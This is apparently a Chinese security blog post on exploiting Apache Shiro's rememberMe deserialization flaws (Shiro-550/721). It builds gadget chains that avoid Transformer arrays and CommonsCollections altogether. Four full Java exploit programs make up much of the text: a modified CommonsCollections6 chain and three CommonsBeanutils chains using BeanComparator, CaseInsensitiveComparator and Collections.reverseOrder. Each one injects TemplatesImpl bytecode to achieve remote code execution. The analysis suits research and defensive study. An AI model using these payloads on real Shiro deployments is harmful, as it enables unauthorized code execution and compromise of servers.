JAVA反序列化对于Shiro的应用
Shiro
shiro可以说是安全人员的好伙伴了,自从爆出Rce漏洞后可以说养活了很多安全人,可以说18年在用 现在还在用(x
Shiro反序列化漏洞目前为止有两个,Shiro-550(Apache Shiro < 1.2.5)
和Shiro-721( Apache Shiro < 1.4.2 )
。这两个漏洞主要区别在于Shiro550使用已知密钥撞,后者Shiro721是使用登录后rememberMe={value}去爆破正确的key值
进而反序列化,对比Shiro550条件只要有足够密钥库
(条件比较低)、Shiro721需要登录(要求比较高鸡肋)。
Apache Shiro < 1.4.2
默认使用AES/CBC/PKCS5Padding
模式Apache Shiro >= 1.4.2
默认使用AES/GCM/PKCS5Padding
模式
shiro的分析步骤就省去了 网上文章也有很多,也很简单 通过Cookie的remember 解密后反序列化
构造没有Transformer[]的CC链
前置知识
在shiro 550 750的攻击过程中 常见的是个commons-collections4.0,但是如果对方的版本是个commons-collections3呢?
在调试过程中,我们可以发现直接生成的payload打不通了。为什么呢?
报了一些错误
我们跟进一下是什么错误?
跟进org.apache.shiro.io.ClassResolvingObjectInputStream
类。可以发现其重写了 resolveClass 方法
protected Class<?> resolveClass(ObjectStreamClass osc) throws
IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
}
在抛出异常的地方下个断点可以发现其org.apache.commons.collections.Transformer
报错了,也就是Transformer[]数组
在 Java反序列化利用链分析之Shiro反序列化 这篇文章详细介绍了如何利用commons-collections:3.2.1
完成反序列化化的过程
回顾一下,在CommonsCollections6中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参 数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry 类有个 getValue 方法,调用了map的 get方法,并传入key:
当这个map是LazyMap时,其get方法就是触发transform的关键点:
我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为 通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇 的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
那么我们之前的数组中ConstantTransformer
就不需要了
实现
我们来试着改造一下cc6,当然其他的链子同样适用
package CC6;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class demo2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformers = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformers);
TiedMapEntry TiedMapEntry = new TiedMapEntry(outerMap,obj);
Map hashMap = new HashMap();
hashMap.put(TiedMapEntry,"valuevalue");
outerMap.clear();
setFieldValue(transformers, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(outerMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
当然 这个payload可以发现没了fakeTransformer 而换成了 Transformer transformers = new InvokerTransformer("getClass", null, null);
效果是一样的
这也是用来检测Shiro-550的方法
CommonsBeanutils
前置知识
我们从CC2知道java.util.PriorityQueue
处理的是一个优先队列,队列里每个元素都有自己的优先级。在反序列化过程中,会根据先后顺序进行排序,从而调用到了 java.util.Comparator
接口的 compare() 方法。然后触发相应的反序列化
在CommonsBeanutils里 也可以触发 让我们来看一下
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean的getter方法,
此时,commons-beanutils会自动找到name属性的getter方法, 然后调用,获得返回值。除此之外, PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象 中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c");
的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
了解了这些,可能有一定的疑问,这和最开始说到的compare()
方法触发反序列化有什么关系呢?
在CB包里有这么一个类org.apache.commons.beanutils.BeanComparator
找找关键的东西呢?
这个方法传入两个对象,如果 this.property
为空,则直接比较这两个对象;如果 this.property 不 为空,则用 PropertyUtils.getProperty
分别取这两个对象的 this.property
属性,比较属性的值。
上一节我们说了, PropertyUtils.getProperty
这个方法会自动去调用一个JavaBean的getter方法, 这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢
可以看看之前Templateslmpl
中提到的利用链
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
显而易见的getOutputProperties
则不就是get吗?
所以, PropertyUtils.getProperty( o1, property )
这段代码,当o1是一个 TemplatesImpl
对 象,而 property
的值为 outputProperties
时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()
方法,触发代码执行。
让我们来写写看?
实现
新建一个TemplatesImpl
,根据上面的分析,我们需要有一个org.apache.commons.beanutils.BeanComparator
new一个出来,
然后通过PropertyUtils.getProperty
对队列进行比较,触发compare()
方法, 而当property
不为空的时候调用TemplatesImpl#getOutputProperties
方法 实现反序列化利用
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsdemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator=new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
初始化时使用正经对象,且 property 为空,为了初始化的时候不要出错。然后再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象:
从而完成利用
不用CommonsCollections的反序列化链
在shiro应用中,默认是不带有CommonsCollections的,而网上大多数复现过程中都存在CommonsCollections 也就是 org.apache.commons.beanutils.BeanComparator;
这个类
进入这个类会发现其调用了org.apache.commons.collections.comparators.ComparableComparator
在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。
既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
那么有相似的类可以替换吗?达到不用BeanComparator
触发,找到一个 CaseInsensitiveComparator
这个 CaseInsensitiveComparator
类是 java.lang.String
类下的一个内部私有类,其实现了 Comparator
和 Serializable
我们通过 String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的 CaseInsensitiveComparator
对 象,用它来实例化 BeanComparator
所以我们改一改
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsdemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator=new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
然后在P神的知识星球还发现了这样一个类java.util.Collections$ReverseComparator
我们也可以试试看
老样子 利用反射修改BeanComparator#comparator
属性替换为jre自带类即可 这里是Collections.reverseOrder()
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanutilsdemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator=new BeanComparator(null, Collections.reverseOrder());
PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}